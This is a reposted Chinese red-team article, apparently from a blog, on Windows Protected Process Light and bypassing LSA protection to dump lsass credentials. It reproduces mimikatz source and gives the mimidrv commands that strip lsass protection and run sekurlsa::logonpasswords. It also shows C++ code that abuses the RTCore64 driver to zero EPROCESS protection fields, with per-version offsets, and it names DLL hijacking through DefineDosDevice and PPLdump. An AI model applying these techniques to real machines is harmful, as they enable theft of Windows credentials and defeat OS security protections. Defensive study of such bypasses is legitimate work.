PPL攻击详解
Posted 红队蓝军
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PPL攻击详解相关的知识,希望对你有一定的参考价值。
PPL
PPL表示“受保护的流程”,但在此之前,只有“受保护的流程”。Windows Vista / Server 2008引入了受保护进程的概念,其目的不是保护您的数据或凭据。其最初目标是保护媒体内容并符合DRM(数字版权管理)要求。Microsoft开发了此机制,以便您的媒体播放器可以读取例如蓝光,同时防止您复制其内容。当时的要求是映像文件(即可执行文件)必须使用特殊的Windows Media证书进行数字签名(如Windows Internals的“受保护的过程”部分所述)。
在实践中,一个受保护的过程可通过未保护的过程仅具有非常有限的权限访问:
PROCESS_QUERY_LIMITED_INFORMATION
,PROCESS_SET_LIMITED_INFORMATION
,PROCESS_TERMINATE
和PROCESS_SUSPEND_RESUME
。对于某些高度敏感的过程,甚至可以减少此设置。几年后,从Windows 8.1 / Server 2012 R2开始,Microsoft引入了Protected Process Light的概念。PPL实际上是对先前“受保护过程”模型的扩展,并添加了“保护级别”的概念,这基本上意味着某些PP(L)进程可以比其他进程受到更多保护。
进程的保护级别已添加到EPROCESS
内核结构中,并且更具体地存储在其Protection
成员中。该Protection
成员是一个PS_PROTECTION
结构,即ZwQueryInformationProcess
的第三个参数,我们看下msdn的描述
NTSTATUS WINAPI ZwQueryInformationProcess(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
image-20220507215916729.png
_PS_PROTECTION
结构如下,前3位代表保护Type
,它定义过程是PP
还是PPL
,后4位代表Signer
类型,即实际的保护类型
typedef struct _PS_PROTECTION
union
UCHAR Level;
struct
UCHAR Type : 3;
UCHAR Audit : 1; // Reserved
UCHAR Signer : 4;
;
;
PS_PROTECTION, *PPS_PROTECTION;
_PS_PROTECTED_TYPE
和_PS_PROTECTED_SIGNER
结构的定义如下
typedef enum _PS_PROTECTED_TYPE
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER
PsProtectedSignerNone = 0, // 0
PsProtectedSignerAuthenticode, // 1
PsProtectedSignerCodeGen, // 2
PsProtectedSignerAntimalware, // 3
PsProtectedSignerLsa, // 4
PsProtectedSignerWindows, // 5
PsProtectedSignerWinTcb, // 6
PsProtectedSignerWinSystem, // 7
PsProtectedSignerApp, // 8
PsProtectedSignerMax // 9
PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;
进程的保护级别就通过这两个值组合定义,有几种常见的组合,比如这里将_PS_PROTECTION
的值修改为0x72
就能够将一个普通的进程变为受保护状态,在3环是不能够进行操作的
image-20220507221032792.png
那么我们就可以编写函数判断进程的保护级别
bool FindProcessProtect()
PS_PROTECTION ProtectInfo = 0 ;
NTSTATUS ntStatus = ZwQueryInformationProcess(NtCurrentProcess(), ProcessProtectionInformation, &ProtectInfo, sizeof(ProtectInfo), NULL);
bool = false;
bool Result2 = false;
if (NT_SUCCESS(ntStatus))
Result1 = ProtectInfo.Type == PsProtectedTypeNone && ProtectInfo.Signer == PsProtectedSignerNone;
PROCESS_EXTENDED_BASIC_INFORMATION ProcessExtenedInfo = 0 ;
ntStatus = ZwQueryInformationProcess(NtCurrentProcess(), ProcessBasicInformation, &ProcessExtenedInfo, sizeof(ProcessExtenedInfo), NULL);
if (NT_SUCCESS(ntStatus))
Result2 = ProcessExtenedInfo.IsProtectedProcess == false && ProcessExtenedInfo.IsSecureProcess == false;
return Result2 && Result1;
LSA
LSA
即RunAsPPL
,虽然lsass
进程有PPL
,微软为了防止非管理非 PPL 进程通过开放访问或篡改 PPL 进程中的代码和数据推出了LSA
,但是在一般情况下是并没有启用的
image-20220509174326138.png
没有启用LSA
的时候我们能够正常抓取密码
image-20220509114232178.png
我们我们开启LSA
,找到HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
然后添加一个DWORD
值RunAsPPL
,并把值从0改为1即可开启LSA
image-20220509114325510.png
重启之后我们再尝试提权之后抓取密码,已经看到这里报错0xc0000005
,这里异常出在kuhl_m_sekur1sa_acquireLSA
模块
image-20220509114616370.png
我们去mimikatz
里面看一下源码它是怎么写这个异常判断的,首先定位到kuhl_m_sekurlsa.c
image-20220509114826636.png
去到kuhl_m_sekurlsa_acquireLSA
函数
image-20220509114927851.png
这里源码如下
NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[])
return kuhl_m_sekurlsa_getLogonData(lsassPackages, ARRAYSIZE(lsassPackages));
NTSTATUS kuhl_m_sekurlsa_acquireLSA()
NTSTATUS status = STATUS_SUCCESS;
KULL_M_MEMORY_TYPE Type;
HANDLE hData = NULL;
DWORD pid, cbSk;
PMINIDUMP_SYSTEM_INFO pInfos;
DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
BOOL isError = FALSE;
PBYTE pSk;
if(!cLsass.hLsassMem)
status = STATUS_NOT_FOUND;
if(pMinidumpName)
Type = KULL_M_MEMORY_TYPE_PROCESS_DMP;
kprintf(L"Opening : \\'%s\\' file for minidump...\\n", pMinidumpName);
hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
else
Type = KULL_M_MEMORY_TYPE_PROCESS;
if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
hData = OpenProcess(processRights, FALSE, pid);
else PRINT_ERROR(L"LSASS process not found (?)\\n");
if(hData && hData != INVALID_HANDLE_VALUE)
if(kull_m_memory_open(Type, hData, &cLsass.hLsassMem))
if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP)
if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream, NULL))
cLsass.osContext.MajorVersion = pInfos->MajorVersion;
cLsass.osContext.MinorVersion = pInfos->MinorVersion;
cLsass.osContext.BuildNumber = pInfos->BuildNumber;
#if defined(_M_X64) || defined(_M_ARM64)
if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64))
PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64);
#elif defined(_M_IX86)
if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL))
PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL);
#endif
else
isError = TRUE;
PRINT_ERROR(L"Minidump without SystemInfoStream (?)\\n");
if (pSk = (PBYTE)kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, (MINIDUMP_STREAM_TYPE)0x1337, &cbSk))
kprintf(L" > SecureKernel stream found in minidump (%u bytes)\\n", cbSk);
pid = kuhl_m_sekurlsa_sk_search(pSk, cbSk, TRUE);
kprintf(L" %u candidate keys found\\n", pid);
else
#if defined(_M_IX86)
if(IsWow64Process(GetCurrentProcess(), &isError) && isError)
PRINT_ERROR(MIMIKATZ L" " MIMIKATZ_ARCH L" cannot access x64 process\\n");
else
#endif
cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION;
cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION;
cLsass.osContext.BuildNumber = MIMIKATZ_NT_BUILD_NUMBER;
if(!isError)
lsassLocalHelper =
#if defined(_M_ARM64)
&lsassLocalHelpers[0]
#else
(cLsass.osContext.MajorVersion < 6) ? &lsassLocalHelpers[0] : &lsassLocalHelpers[1]
#endif
;
if(NT_SUCCESS(lsassLocalHelper->initLocalLib()))
#if !defined(_M_ARM64)
kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8);
#endif
kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2);
kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909);
if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent)
kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module;
if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module))
status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations);
if(!NT_SUCCESS(status))
PRINT_ERROR(L"Key import\\n");
else PRINT_ERROR(L"Logon list\\n");
else PRINT_ERROR(L"Modules informations\\n");
else PRINT_ERROR(L"Local LSA library failed\\n");
else PRINT_ERROR(L"Memory opening\\n");
if(!NT_SUCCESS(status))
CloseHandle(hData);
else PRINT_ERROR_AUTO(L"Handle on memory");
if(!NT_SUCCESS(status))
cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem);
return status;
我们看一下核心的代码,首先找到通过进程名获取PID
,然后通过OpenProcess
获得句柄
image-20220509115429557.png
判断句柄是否为INVALID_HANDLE_VALUE
即无效句柄,如果为无效句柄直接调用PRINT_ERROR
image-20220509115535952.png
image-20220509115550142.png
PRINT_ERROR_AUTO
是一个宏,其作用是打印出失败函数的名称和错误代码,底层调用GetLastError
来打印出错误信息,这里也就是说
image-20220509115622012.png
mimidrv.sys
这里可以使用mimikatz
提供的mimidrv.sys
来绕过,可以看到加载之后即可关闭LSA
保护,正常dump hash
!+
!procoessprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
image-20220509135947556.png
使用!-
命令卸载驱动
image-20220509141511276.png
!+`该命令会从用户模式启动驱动程序,并请求为当前令牌分配`SeLoadDriverPrivilege
image-20220509185711002.png
mimikatz
首先检查驱动程序在当前工作目录中是否存在,如果找到磁盘上的驱动程序,则开始创建服务。服务的创建是通过服务控制管理器(SCM
)API函数来完成的。具体而言,advapi32!ServiceCreate
将用于注册具有以下属性的服务
CreateService(
hSC, //Handle to the SCM database provided by OpenSCManager
'mimidrv', //Service name
'mimikatz driver (mimidrv)', //Service display name
READ_CONTROL | WRITE_DAC | SERVICE_START, //Desired access
SERVICE_KERNEL_DRIVER, //Kernel driver service type
SERVICE_AUTO_START, //Start the service automatically on boot
SERVICE_ERROR_NORMAL, //Log driver errors that occur during startup to the event log
'C:\\\\path\\\\to\\\\mimidrv.sys', //Absolute path of the driver on disk
NULL, //Load order group (unused)
NULL, //Not used because the previous argument is NULL
NULL, //No dependencies for the drive
NULL, //Use NT AUTHORITY\\SYSTEM to start the service
NULL //Unused because we are using the SYSTEM account
);
如果成功创建了服务,则Evervone
组将被授予对该服务的访问权限,从而允许系统上的任何用户与该服务进行交互。例如,低特权的用户可以停止该服务
image-20220509191253303.png
然后通过StartService
来启动服务
image-20220509191333156.png
如果这里卸载驱动则OpenService
失败
image-20220509191426493.png
通过EPROCESS禁用PPL
这里还是通过修改注册表启动LSA
image-20220509152719989.png
这里我们使用修改EPROCESS
结构体的值来绕过LSA
,在2004版本的0x878
偏移存放着SignatureLevel
,我们需要将着连续的几个字节修改为0,分别是SignatureLevel
、SectionSignatureLevel
、Level
、Type
、Audit
和Signer
image-20220509194116604.png
image-20220509194135508.png
那么我们如何定位到lsass
进程呢?这里就需要找到内核机制,通过遍历PEB
结构里的ActiveProcessLinks
这个双向链表来找到
在win10 1607
版本以后,微软更改了策略,将页目录基址更改为了随机地址,那么我们之前在win7里面直接定位PTE_Base
的方法就不可用,那么我们就可以使用提取特征码的方式去定位内核模块的地址
首先在WinDbg中定位内核模块的地址
image-20220420102547386.png
然后在内核模块中搜索与当前页表基址相同的值出现的位置,当前页表基址为0xFFFF800000000000
image-20220420102559314.png
接着,在IDA中定位到数据所在的位置,可以看到是某行代码引用了这个值的硬编码
image-20220420102611892.png
在WinDbg中查看这段代码,能够识别到位于CcUnpinFileDataEx
函数。那么,由于系统每次启动时基址是不固定的,因此这些值也不可能是固定的硬编码,肯定对这些值进行了修改,在需要使用时,可以通过固定的偏移量提取硬编码,从而得到页表基址,但要注意不同版本的内核文件的偏移量可能是不同的
image-20220420102628929.png
在不同版本的操作系统里面SignatureLevel
在EPROCESS
里面的偏移是不相同的,比如在2004里面位于0x878
,而在1909版本则位于0x6f8
,所以这里需要通过函数进行判断
struct Offsets getVersionOffsets()
wchar_t value[255] = 0x00 ;
DWORD BufferSize = 255;
RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize);
wprintf(L"[+] Windows Version %s Found\\n", value);
auto winVer = _wtoi(value);
switch (winVer)
case 1607:
return Offsets 0x02e8, 0x02f0, 0x0358, 0x06c8 ;
case 1803:
case 1809:
return Offsets 0x02e0, 0x02e8, 0x0358, 0x06c8 ;
case 1903:
case 1909:
return Offsets 0x02e8, 0x02f0, 0x0360, 0x06f8 ;
case 2004:
case 2009:
return Offsets 0x0440, 0x0448, 0x04b8, 0x0878 ;
default:
wprintf(L"[!] Version Offsets Not Found!\\n");
exit(-1);
然后根据函数定位到PsInitialSystemProcess
函数,从EnumDeviceDrivers
可以得到内核基址,通过循环找到lsass
进程,寻找偏移将SignatureLevel
、SectionSignatureLevel
、Level
、Type
、Audit
和Signer
这5个值清0即可绕过
void disableProtectedProcesses(DWORD targetPID, Offsets offsets)
const auto Device = CreateFileW(LR"(\\\\.\\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
if (Device == INVALID_HANDLE_VALUE)
Log("[!] Unable to obtain a handle to the device object");
return;
Log("[*] Device object handle has been obtained");
const auto NtoskrnlBaseAddress = getKernelBaseAddr();
Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);
HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");
const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);
FreeLibrary(Ntoskrnl);
const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);
const DWORD64 TargetProcessId = static_cast<DWORD64>(targetPID);
DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;
DWORD64 CurrentProcessAddress = ProcessHead;
do
const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;
const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);
if (UniqueProcessId == TargetProcessId)
break;
CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);
while (CurrentProcessAddress != ProcessHead);
CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;
Log("[*] Current process address: %p", CurrentProcessAddress);
WriteMemoryPrimitive(Device, 4, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x00);
// Cleanup
CloseHandle(Device);
在没有绕过LSA
之前是不能够dump的,这里通过patch
之后即可dump hash
image-20220509152958574.png
DefineDosDevice
如函数名所示,DefineDosDevice
的作用是定义MS-DOS
设备名称。根据官方文档,MS-DOS
设备名是对象管理器中的符号链接,格式为\\DosDevices\\DEVICE_NAME
。我们插入外部驱动器或者USB设备时就会出现这种情况,设备会被自动分配一个驱动器号,比如E:
,我们可以调用QueryDosDevice
来查询对应的映射。
BOOL DefineDosDeviceW(
[in] DWORD dwFlags,
[in] LPCWSTR lpDeviceName,
[in, optional] LPCWSTR lpTargetPath
);
image-20220509202259206.png
这里我们可以尝试使用QueryDosDevice
来查询设备名
WCHAR path[MAX_PATH + 1];
if (QueryDosDevice(argv[1], path, MAX_PATH))
wprintf(L"%ws -> %ws\\n", argv[1], path);
image-20220509202624454.png
但是在这个地方我们并不使用DefineDosDevice
的常规功能,而是通过DefineDosDevice
创建dll,因为PPL
是不检查dll的数字签名的,从而实现dll劫持绕过PPL
使用到PPLdump项目编译,即可绕过并dump出hash
以上是关于PPL攻击详解的主要内容,如果未能解决你的问题,请参考以下文章
Microsoft Windows权限提升漏洞(CVE-2015-1701)
Microsoft Windows OpenType Font (OTF)驱动程序无效数组远程代码执行漏洞(MS10-091)
研究人员披露Microsoft Windows中5个0day;黑客在暗网出售Wishbone中4000万条用户信息
Microsoft Windows 远程桌面服务远程执行代码漏洞(CVE-2019-0708)